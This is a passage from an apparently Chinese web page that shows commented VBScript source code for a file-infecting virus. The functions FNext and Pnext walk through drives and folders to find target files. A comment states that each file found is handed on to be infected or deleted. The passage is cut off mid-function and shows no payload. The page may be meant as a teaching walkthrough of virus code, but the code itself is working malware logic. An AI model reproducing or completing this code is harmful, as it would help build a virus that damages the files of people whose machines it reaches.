End If
End Function
’******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
’初始化变量
If Of.FileExists(S) Then
’如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
’得到文件的父目录名
fname = S
’得到文件名
ElseIf Of.FolderExists(S) Then
’不存在于当前文件夹中，则得到目录名
fpath = S
T = True
Else
fpath = Dnext(Of, "")
’得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
’得到当前目录下的所有文件对象
For Each m In gf
’遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then
’如果该文件是文件集合中的一员
FNext = m
’则返回该文件名，供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
’如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath) ’
Loop
End Function
’******************************************************************
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
’如果如果指定的文件夹存在
Set gp = Of.GetFolder(S).SubFolders
’就得到子目录数
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] 下一页
|
